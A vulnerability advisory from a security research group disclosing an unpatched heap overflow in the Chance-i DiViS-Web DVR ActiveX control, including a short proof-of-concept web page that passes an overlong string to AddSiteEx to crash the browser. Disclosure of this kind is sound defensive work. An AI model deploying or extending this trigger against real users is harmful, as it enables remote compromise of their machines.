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[DSECRG-09-035] Chance-i DiViS DVR ActiveX - Heap Overflow

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-035

original advisory:  http://dsecrg.com/pages/vul/DSECRG-09-035.html

Application:                Chance-i DiViS-Web DVR System ActiveX control
Versions Affected:          3,0,0,7
Vendor URL:                 http://www.chance-i.com/
Bug:                        Heap Overflow
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE    
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.


Heap overflow vulnerability found in AddSiteEx() function.
There is an exploitable heap overflow vulnerability in DVR's ActiveX 
control (ActiveView.cab). 

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability. 

The problem arises by passing an overly long string to the AddSiteEx 
method of the control. 

    <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";
    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;    
    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll


We did not get any response from vendor for more than 2 weeks.
No patches aviable. 


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Contact:    research [at] dsecrg [dot] com

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